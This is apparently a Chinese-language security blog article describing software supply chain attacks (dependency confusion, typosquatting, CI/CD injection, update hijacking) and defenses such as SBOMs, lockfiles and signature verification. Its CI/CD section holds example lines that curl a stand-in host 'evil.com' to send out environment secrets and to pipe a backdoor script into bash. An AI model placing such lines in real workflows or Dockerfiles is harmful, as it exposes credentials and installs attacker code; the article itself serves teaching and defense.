乐于分享
好东西不私藏

[前沿技术] 软件供应链攻击手法

[前沿技术] 软件供应链攻击手法

0x00 介绍

供应链攻击是近年增长最快的攻击向量之一。攻击者不直接攻击目标,而是感染其依赖的软件组件——开源库、CI/CD 管道、更新服务器、Docker 镜像等。SolarWinds(2020)和 Log4j(2021)是供应链安全的分水岭事件,前者攻击了美国政府机构,后者影响了全球数十亿设备。

0x01 攻击面

依赖混淆(Dependency Confusion)

利用私有包与公共包命名冲突,在公共仓库注册同名包,高版本号的恶意包会被优先拉取。

# 攻击者发现目标公司内部包名: company-utils          # 在 npm/PyPI 注册同名包,版本设为 99.99.99          # 构建系统优先拉取高版本公共包 → 代码执行          # npm 依赖混淆          npm install# 如果有 company-utils 的内部包          # 而攻击者在 npm 注册了 company-utils@99.0.0 → 中招          # PyPI 同样          pip install company-utils==*# 通配符解析到最高版本

仓库投毒(Repo Poisoning)

在流行开源项目中提交恶意 PR,或直接篡改仓库文件。即使被拒绝,恶意代码可能已在依赖解析中被缓存。

# Typosquatting(拼写混淆)          npm install express# 正版          npm install experss# 攻击者的山寨包          npm install bcrypt# 正版          npm install bcrytp# 山寨          # 星标劫持(Starjacking)          # fork 流行项目 → 添加恶意代码 → 重新发布到 npm

CI/CD 管道攻击

攻击者获取 CI/CD 系统的访问权限后,可修改构建流程、注入恶意步骤。

# GitHub Actions 注入          # .github/workflows/build.yml 被篡改          - name: Build          run: |          npm install          curl http://evil.com/$(env)# 泄露 secrets          npm run build          # Dockerfile 投毒          FROM ubuntu:latest          RUN curl -s http://evil.com/backdoor.sh | bash

更新劫持(Update Hijacking)

软件自动更新是经典的供应链攻击目标。攻击者控制更新服务器,或在传输层中间人更新包。

0x02 检测与防御

SBOM 软件物料清单

使用 SPDX/CycloneDX 格式生成依赖清单,自动化审计每个组件的来源和版本。

依赖锁定 + 签名验证

# npm          npm ci# 根据 package-lock.json 精确安装          # pip          pip install --require-hashes -r requirements.txt          # Docker — 使用 digest 而非 tag          FROM ubuntu@sha256:abc123...          # 签名验证          npm audit signatures          cosign verify image:tag

私有仓库 + 代理缓存

使用 Artifactory/Nexus 搭建私有仓库,代理公共包并扫描恶意代码。配置 scope 规则防止依赖混淆。

本文仅作安全研究与学习用途,用于非法行为后果自行承担。

相关学习资料